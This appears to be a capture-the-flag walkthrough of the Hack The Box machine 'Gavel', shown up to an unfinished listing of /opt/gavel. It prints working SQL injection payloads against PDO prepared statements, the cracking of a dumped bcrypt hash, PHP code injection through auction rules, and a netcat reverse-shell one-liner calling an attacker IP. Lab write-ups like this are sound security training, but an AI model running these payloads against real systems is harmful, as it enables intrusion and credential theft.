Documentation Index
Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
Use this file to discover all available pages before exploring further.
Starting the box
Link to the box: https://app.hackthebox.com/machines/gavel
Port Scan
We start off the box by running a port scan on the provided IP.
rustscan --ulimit 5000 -a 10.129.183.7 -r 1-65535 -- -A -vvv -oN Gavel
Output of Rustscan
Open 10.129.183.7:22
Open 10.129.183.7:80
Output of Nmap:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
| 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
A few key notes:
Edit the Hosts file
As always, we edit the /etc/hosts file to add the hostname:
/etc/hosts
Enumerating Port 80: Web Server
Subdomain Enumeration
We first run a quick vhost brute-force to look for potential subdomains.
GoBuster (vhost):
We will brute-force the sub-domains using GoBuster’s vhost mode.
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ gobuster vhost -u http://10.129.183.7 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain gavel.htb -xs 301
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.183.7
[+] Method: GET
[+] Threads: 500
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
...
Progress: 114442 / 114442 (100.00%)
===============================================================
Finished
===============================================================
- There are only error responses, no valid subdomains are listed.
Directing Busting
We will first run a quick directory enumeration with Feroxbuster.
Feroxbuster:
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ feroxbuster -u http://gavel.htb -C 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://gavel.htb/
🚩 In-Scope Url │ gavel.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
Key output:
...
200 GET 102l 397w 3798c http://gavel.htb/assets/items.json
200 GET 78l 213w 4281c http://gavel.htb/login.php
200 GET 84l 301w 4485c http://gavel.htb/register.php
200 GET 222l 1044w 14062c http://gavel.htb/index.php
...
200 GET 222l 1034w 13957c http://gavel.htb/
301 GET 9l 28w 306c http://gavel.htb/rules => http://gavel.htb/rules/
[####################] - 2m 90098/90098 0s found:46 errors:17
[####################] - 2m 30000/30000 285/s http://gavel.htb/
[####################] - 2m 30000/30000 280/s http://gavel.htb/includes/
...
[####################] - 0s 30000/30000 187500/s http://gavel.htb/assets/ => Directory listing (add --scan-dir-listings to scan)
...
- Filtered all static images & files from
/assets folder.
DirSearch:
Running another tool just to be sure we are not missing anything important:
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ dirsearch -x 404 -u http://gavel.htb
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/HTB/s9/Gavel/reports/http_gavel.htb/_25-11-29_20-54-47.txt
Target: http://gavel.htb/
[20:54:47] Starting:
[20:54:54] 301 - 305B - /.git -> http://gavel.htb/.git/
...
- Aha. We found
.git that are missing from the default wordlist of Feroxbuster.
- Before we check the
.git directory, let’s first manually enumerate the website.
Enumerating the webpage
http://gavel.htb
This is an auction site with user registration & login functionality.
Manual Enumeration
register.php:
http://gavel.htb/register.php
We will register a user with the following credentials:
login.php:
http://gavel.htb/login.php
We now login with the newly registered credentials, and we are redirected back to http://gavel.htb/index.php.
index.php:
http://gavel.htb/index.php:
A quick check on the cookie gavel_session reveals that the HttpOnly flag is on, meaning that we will not be able grab the token from attacks like XSS.
We now have access to the following new pages:
- /inventory.php, and
- /bidding.php
bidding.php:
http://gavel.htb/bidding.php
We can submit bids to the bidding items. A bid is submitted via a POST request to the /includes/bid_handler.php. A success or error message in JSON will be returned. Once the bidding time has passed, the page will refresh, and the user has the highest bid will have that item in the inventory.php page.
For each bidding item, there is also a specific bidding rule. For example, some item may require Bid at least 10% more than the current price, whereas some may ask for Bids must be in multiples of 5. Your account balance must cover the bid amount, etc.
So far we have understood the basic functionalities of the application. Let’s move on to the exposed .git directory to look for potential source code files.
Enumerating .git directory
We can use this handy tool, git-dumper, to easily dump the whole git repository from a website.
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ git-dumper http://gavel.htb ./gavel.htb
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index
Git Commit Review
We can run the git log command to check the commit history:
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ git log
commit f67d90739a31d3f9ffcc3b9122652b500ff2a497 (HEAD -> master)
Author: sado <[email protected]>
Date: Fri Oct 3 18:38:02 2025 +0000
..
commit 2bd167f52a35786a5a3e38a72c63005fffa14095
Author: sado <[email protected]>
Date: Fri Oct 3 18:37:10 2025 +0000
.
commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <[email protected]>
Date: Sat Sep 20 13:12:15 2025 +0000
To check the difference between the first and last commit, we can run the git diff command:
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ git diff ff27a161f2dd87a0c597ba5638e3457ac167c416 f67d90739a31d3f9ffcc3b9122652b500ff2a497
diff --git a/rules/default.yaml b/rules/default.yaml
index a5bef05..1b3660f 100755
--- a/rules/default.yaml
+++ b/rules/default.yaml
@@ -5,11 +5,5 @@ rules:
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- - rule: "return strlen($bidder) % 2 == 0;"
- message: "Bidding is restricted to users with an even-numbered username."
-
- - rule: "return strlen($bidder) % 2 == 1;"
- message: "Bidding is restricted to users with an odd-numbered username."
-
- rule: "return $current_bid >= $previous_bid + 5000;"
- message: "Only bids greater than 5000 will be considered. Ensure you have sufficient balance before placing such bids."
+ message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."^M
- Only the
default.yaml has been changed.
- There are no deleted / removed credentials.
Source Code Review
We can now enumerate the source code of the website.
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ ls -la
total 96
drwxrwxr-x 6 kali kali 4096 Nov 29 21:27 .
drwxrwxr-x 4 kali kali 4096 Nov 29 21:26 ..
-rwxrwxr-x 1 kali kali 8820 Nov 29 21:27 admin.php
drwxrwxr-x 6 kali kali 4096 Nov 29 21:27 assets
-rwxrwxr-x 1 kali kali 8441 Nov 29 21:27 bidding.php
drwxrwxr-x 7 kali kali 4096 Nov 29 21:27 .git
drwxrwxr-x 2 kali kali 4096 Nov 29 21:27 includes
-rwxrwxr-x 1 kali kali 14520 Nov 29 21:27 index.php
-rwxrwxr-x 1 kali kali 8384 Nov 29 21:27 inventory.php
-rwxrwxr-x 1 kali kali 6408 Nov 29 21:27 login.php
-rwxrwxr-x 1 kali kali 161 Nov 29 21:27 logout.php
-rwxrwxr-x 1 kali kali 7058 Nov 29 21:27 register.php
drwxrwxr-x 2 kali kali 4096 Nov 29 21:27 rules
.git/config:
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = sado
email = [email protected]
includes/config.php:
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ cat includes/config.php
<?php
define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');
define('ROOT_PATH', dirname(__DIR__));
$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');
A few key notes:
- Database is running locally on the web server.
- The Database name, user and password are all
gavel.
- From
db.php, we can know that it is running on MySQL.
Identifying vulnerable functions
Locating function vulnerable to RCE
includes/bid_handler.php:
After diving deep into the code, we notice the following function uses runkit:
...
$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
...
- With some research, we note that
runkit is a PHP extension that allow users to create user-defined functions & classes.
In particular, the runkit_function_add function allows users to create a new function that will run eval() in the background on the provided code.
PHP: runkit7_function_add - Manual
PHP: create_function - Manual
- create_function — Create a function dynamically by evaluating a string of code
- This function internally performs an eval() and as such has the same security issues as eval(). It also has bad performance and memory usage characteristics, because the created functions are global and can not be freed.
This function takes the following arguments:
runkit7_function_add(
string $function_name,
string $argument_list,
string $code,
bool $return_by_reference = null,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
- The first argument takes the function name.
- The second argument takes the list of arguments for this function.
- The third argument takes the PHP codes to run.
Comparing to our code snippet:
runkit_function_add(
'ruleCheck',
'$current_bid, $previous_bid, $bidder',
$rule
);
- We can see that the function is taking the
$rule variable as the codes to be executed.
- The
$rule value is set by $rule = $auction['rule'];
The $auction value is set by fetching data from the database:
$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();
rules/default.yaml:
The example rules can be seen in rules/default.yaml. The rule values are written in PHP codes.
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
admin.php:
From the codes, we learn that the rules can be updated from the admin panel. Therefore, the goal here is to escalate ourselves into application admin (auctioneer role) first.
...
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');
if ($auction_id > 0 && (empty($rule) || empty($message))) {
$stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$_SESSION['success'] = 'Auction not found.';
header('Location: admin.php');
exit;
}
if (empty($rule)) $rule = $row['rule'];
if (empty($message)) $message = $row['message'];
}
if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}
}
...
Locating function vulnerable to SQLi
inventory.php:
After some more deep diving, we notice the user input user_id in the sorting function in inventory.php is not validated and sanitized at all.
...
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}
...
- While prepared statement is in-use, and the
$sortItem value from user input is sanitized by replacing the backticks, the $userId was missed out for validation.
Also, we can see that the $results (column data) are simply all fetched and returned directly in the $name variable, which is visible to the user in the item cards.
...
foreach ($results as $row) {
$firstKey = array_keys($row)[0];
$name = $row['item_name'] ?? $row[$firstKey] ?? null;
if (!$name) {
continue;
}
$meta = [];
try {
$itemMeta->execute([$name]);
$meta = $itemMeta->fetch(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$meta = [];
}
$itemMap[$name] = [
'name' => $name ?? "",
'description' => $meta['description'] ?? "",
'image' => $meta['image'] ?? "",
'quantity' => $row['quantity'] ?? (is_numeric($row[$firstKey]) ? $row[$firstKey] : 1)
];
}
...
Breaking out the Prepared Statement in PHP:
Normally, prepared statements prevent SQL injections by separating query and data for the database. Conceptually, it splits the query into 2 phases:
- Prepare - Defining Query Structure. The database will first receive a “prepared statement”, which is a pre-defined SQL query with the required data being replaced by placeholders (
?). The database will then parse & ready to execute this query.
- Execute - Supplying Data. User-supplied values are then sent to the database as literal strings. The database will not re-parse the received strings as SQL.
# Stage 1: Prepare
$stmt = $pdo->prepare(
"SELECT id FROM users WHERE username = ?"
);
# Stage 2: Execute
$stmt->execute([$username]);
However, placeholders (?) (or bound parameters) in prepared statements can only parameterize values, not database identifiers, such as column names, table names, etc., since they will be interpreted as literal text.
To allow user-supplied database identifiers in prepared statement, we will have to concatenate the identifier to the statement, similar to the implementation in the above codes. However, to do this safely, either a whitelist approach (validate against a list of allowed identifiers), or heavy sanitization has to be performed
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
Exploiting SQLi in PHP PDO Prepared Statement
Identifying the SQLi vulnerability
After some research, from the article Novel SQL Injection Technique in PDO Prepared Statements, we learn that PDO emulates all prepared statements in MySQL by default, unless if the PDO::ATTR_EMULATE_PREPARES attribute is explicitly set as false. PDO will run its own SQL parser to escape strings and build the prepared statement, and it then sends the parsed full SQL statement to the database.
This opens an attack vector towards SQLi - if we can trick the PDO parser into mis-parsing our input, we can potentially smuggle in our query.
First, we can check if the attribute is enabled by checking db.php. Since PDO::ATTR_EMULATE_PREPARES is not explicitly called, we can assume that it is set to true by default.
<?php
require_once __DIR__ . '/config.php';
try {
$pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
die("Database connection failed.");
}
In inventory.php, we can see that there is only little sanitization on the $col user input, and there is no sanitization in $userId. Only the backticks are removed from $sortItem.
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
Based on the techniques shared in the above article, we can identify the following vulnerable injection point. We can see that $col is being directly concatenated into the query.
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
- If we can smuggle in a bound parameter (
?), and supply our malicious payload via the non-validated $user_id parameter, we can trick PDO into parsing the malicious payload into the $col position, and construct a functional SQL query.
According to the article, we can sneak in the bound parameter (?) in $col simply by having it followed by a null byte (%00 or \0). This breaks the parsing logic for the second backtick, and it will ignore the first backtick with the SKIP_ONE(PDO_PARSER_TEXT) parsing logic for special characters. This thus makes the PDO parser sees the ? as a legit bound parameter, since the backticks are ignored. We can see the PDO parsing logic here: php-src/ext/pdo_mysql/mysql_sql_parser.re at master · php/php-src.
- The article also mentioned that null byte is not even necessary for older versions of PHP to pull off this attack.
- I personally find that the null byte (
%00) does not matter at all here, as long as there is a comment operator following the ?, i.e. ?--.
Now, anything in $userId will be placed into the first ? in the query:
SELECT `?--%00`
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
Say if $userId = x:
SELECT `'x'--%00`
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
- The parser should return a syntax error on the first line, since the second backtick is corrupted / disabled, causing the backtick not closing properly.
We can close it by adding a backtick after our $userId value - x`;--, with the semicolon & comment to close off the remaining part of the query.
SELECT `'x`;--'--%00`
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
- Now, this is a correctly parsed statement, and MySQL will interpret
'x as a column name.
- Again from my attempts, I notice that the comment operator (
--) after the semicolon does not matter at all (the one in $userId). However, the one after ? (in $col) must be present to make the payload work.
Since we can make MySQL interpret 'x as a column name, now we just need to create a subquery and name the resulting table as 'x. Something like this:
SELECT `'x` FROM (SELECT version() AS `'x`) AS y;--'--%00`
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
- The alias
AS y is required for a sub-query to be performed within the main query.
However, directly injecting this payload is not possible, since the single quote (') will be escaped by PDO by adding a backslash (\'). The data part is parsed into a string that is wrapped between 2 single quotes before constructing the full SQL query. Therefore, sending over 'x, will result in '\'x' in PDO’s parsing logic.
The trick here is to simply make our resulting column name into \'x by adding a backslash before the ?, which makes the resulting payload looks like this:
The PDO parser will take in the $userId value x` ... ;--, and place it into ?, which makes the resulting column name as \'x.
SELECT `\'x` FROM (SELECT version() AS `\'x`) AS y;--'--
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
- This is the final working SQL injection payload.
We can validate this by sending over the payload:
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT version() AS `'x`) AS y;--&sort=\?--%00
user_id is where our malicious query lies.
sort is what would become $col in the query.
The response:
...
<h5 class="card-title">
<strong>8.0.43-0ubuntu0.22.04.2</strong>
</h5>
...
Exploiting SQLi for Credentials
Let’s query what databases are present:
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT schema_name AS `'x` FROM information_schema.schemata) AS y;--&sort=\?--%00
- Note that the
AS `'x` should be placed after the column (here schema_name), for aliasing the resulting table as `'x`.
The response:
<h5 class="card-title"><strong>information_schema</strong></h5><hr>
...
<h5 class="card-title"><strong>performance_schema</strong></h5><hr>
...
<h5 class="card-title"><strong>gavel</strong></h5><hr>
- There is a custom database
gavel.
Let’s list the tables from gavel:
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables WHERE table_schema = 'gavel') AS y;&sort=\?--
- For some reason, the
WHERE clause did not work.
Listing all tables worked:
user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables) AS y;&sort=\?--
Some of the outputs. The users table is likely valuable.
<h5 class="card-title"><strong>auctions</strong></h5><hr>
...
<h5 class="card-title"><strong>inventory</strong></h5><hr>
...
<h5 class="card-title"><strong>items</strong></h5><hr>
...
<h5 class="card-title"><strong>users</strong></h5><hr>
...
Similarly, the WHERE clauses for column name is not working, therefore we have to list all columns from all tables:
user_id=x` FROM (SELECT column_name AS `'x` FROM information_schema.columns) AS y;&sort=\?--
Some of the outputs that are likely from the users table:
<h5 class="card-title"><strong>username</strong></h5><hr>
...
<h5 class="card-title"><strong>password</strong></h5><hr>
...
<h5 class="card-title"><strong>role</strong></h5>
We can then try to extract the credentials using the following payload:
user_id=x` FROM (SELECT username AS `'x` FROM gavel.users) AS y;&sort=\?--
The response:
<h5 class="card-title"><strong>auctioneer</strong></h5>
...
<h5 class="card-title"><strong>user1</strong></h5>
- The admin username is just
auctioneer, which is the same name as the role.
Checking the password. We can use the CONCAT function in MySQL to return two columns in one string.
user_id=x` FROM (SELECT CONCAT (username, password) AS `'x` FROM gavel.users) AS y;&sort=\?--
The response:
...
<h5 class="card-title"><strong>auctioneer$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS</strong></h5>
...
Cracking Password Hashes with Hashcat
Starting from the configuration password hash, let’s check if it is crackable.
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
We’ll use hashcat’s auto-detect mode to determine its hash type. We’ll start from mode 3200.
.\hashcat hash.txt
...
The following 5 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha256 | Forums, CMS, E-Commerce
30600 | bcrypt(sha256($pass)) / bcryptsha256 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
Using mode 3200 on the hash, and it is successfully cracked.
.\hashcat -m 3200 hash.txt rockyou.txt
...
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
We can now login to the application with the following credentials:
- Since the password is very weak, it is also possible that we can simply brute-force our way into the application.
Exploiting RCE vulnerability in PHP Runkit
Command Injection via Admin Panel
http://gavel.htb/admin.php
With the newly obtained credentials, we can now access the admin.php panel, which we have previously identified to be the injection point for the RCE vulnerability in includes/bid_handler.php.
The auction rules & messages can be updated via the following POST request:
POST /admin.php HTTP/1.1
...
auction_id=1045&rule=&message=
We will first send a simple wget request to see if we can use the system function to execute system commands:
POST /admin.php HTTP/1.1
...
auction_id=1066&rule=system("wget 10.10.14.32");&message=system("wget 10.10.14.32")
Then, on http://gavel.htb/bidding.php, we will place a bid on the corresponding auction item to trigger the custom function created by runkit:
POST /includes/bid_handler.php HTTP/1.1
...
------WebKitFormBoundary1S87exBekLWA5xyd
Content-Disposition: form-data; name="auction_id"
1066
------WebKitFormBoundary1S87exBekLWA5xyd
Content-Disposition: form-data; name="bid_amount"
1234
------WebKitFormBoundary1S87exBekLWA5xyd--
- May require a few clicks on the button.
We received the following responses from the server:
HTTP/1.1 200 OK
...
{"success":false,"message":"system(\"wget 10.10.14.32\");"}
At the same time, we received a call back on our controlled web server, indicating that RCE with the system() function is possible.
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.183.7 - - [30/Nov/2025 10:17:08] "GET / HTTP/1.1" 200 -
Obtaining a Reverse Shell
After a couple attempts, the following reverse shell payload worked:
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.32 443 >/tmp/f");
- This can be placed directly inside the
rule box in the admin panel.
On our Penelope reverse shell listener, we successfully established a shell session:
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ pen -p 443
[+] Listening for reverse shells on 0.0.0.0:443 → 127.0.0.1 • 192.168.50.134 • 172.17.0.1 • 10.10.14.32
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from gavel~10.129.183.7-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/sessions/gavel~10.129.183.7-Linux-x86_64/2025_11_30-10_24_36-512.log 📜
───────────────────────────────────────────────────────────────────────────────────
www-data@gavel:/var/www/html/gavel/includes$ whoami
www-data
After poking around for a while, we notice that there is only one user directory.
www-data@gavel:/home$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .
drwxr-xr-x 19 root root 4096 Nov 5 12:46 ..
drwxr-x--- 2 auctioneer auctioneer 4096 Nov 5 12:46 auctioneer
Since this account has the same username (auctioneer) with the one that we obtained the password, we simply try to spray the password and see if we can login:
www-data@gavel:/home$ su auctioneer
Password:
auctioneer@gavel:/home$ whoami
auctioneer
Getting the user flag:
auctioneer@gavel:/home$ cd ~
auctioneer@gavel:~$ cat user.txt
b5a337a785ffae68111fc2b15aa8a875
Privilege Escalation
Post-ex Enumeration
Checking Sudo Exploitability
Always a quick run on sudo before everything. Let’s move on since we cannot use sudo.
auctioneer@gavel:/home$ sudo -l
[sudo] password for auctioneer:
Sorry, user auctioneer may not run sudo on gavel.
Running LinPEAS
As usual, let’s first run LinPEAS for some quick information gathering.
auctioneer@gavel:~$ wget 10.10.14.32/linux/linpeas.sh
--2025-11-30 18:35:45-- http://10.10.14.32/linux/linpeas.sh
...
auctioneer@gavel:~$ chmod +x ./linpeas.sh
auctioneer@gavel:~$ ./linpeas.sh
Some interesting output from LinPEAS:
╔══════════╣ Running processes (cleaned)
...
root 991 0.0 0.0 7372 3484 ? Ss 06:58 0:02 /bin/bash /root/scripts/auction_watcher.sh
...
root 992 0.0 0.1 19128 5928 ? Ss 06:58 0:00 /opt/gavel/gaveld
...
root 1007 0.3 0.4 26784 18256 ? Ss 06:58 0:09 python3 /root/scripts/timeout_gavel.py
...
══╣ Active Ports (netstat)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
...
╔══════════╣ Executable files potentially added by user (limit 70)
..
2025-10-03+19:35:58.6240656280 /usr/local/bin/gavel-util
...
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .
drwxr-xr-x 19 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 4 root root 4096 Nov 5 12:46 gavel
...
╔══════════╣ Unexpected in root
/invoice.txt
A few key notes:
- A few custom scripts & binaries are running as root.
- No interesting internal ports are opened except Port 33060.
- There is a user-owned / added executable:
/usr/local/bin/gavel-util.
- There is a
gavel directory in the /opt directory.
- There is an
invoice.txt in the / (system root) directory.
Checking Port 33060:
We start off by trying to login to MySQL on port 33060. However, the following error message returned.
auctioneer@gavel:/tmp$ mysql -u gavel -pgavel -h 127.0.0.1 -P 33060
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 2007 (HY000): Protocol mismatch; server version = 11, client version = 10
While we can probably try to port-forward the service and enumerate it using an updated client on our machine, it is too much work. Let’s move on and come back to this later if everything else did not work.
/usr/local/bin/gavel-util:
The gavel-util feels way more important since it’s named after the box (gavel). A quick ownership check shows that our user is in the group listed in the binary, although it has the same permission with other users (read & execute).
auctioneer@gavel:/tmp$ ls -la /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct 3 19:35 /usr/local/bin/gavel-util
auctioneer@gavel:/tmp$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
A quick run of the application returned the following menu. While it is worth investigating, let’s also check out other interesting files and come back later.
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
invoice.txt:
The invoice.txt looks like an output of some application, likely related to the auction application. Maybe it is generated from gavel-util?
auctioneer@gavel:/$ cat invoice.txt
==================== GAVEL AUCTION INVOICE ====================
Date: Fri Oct 3 20:04:43 2025
No. Winner Item Name
---------------------------------------------------------------
No items won.
================================================================
Enumerating /opt directory
Enumerating files in /opt/gavel
Let’s enumerate the gavel folder in opt:
auctioneer@gavel:/$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
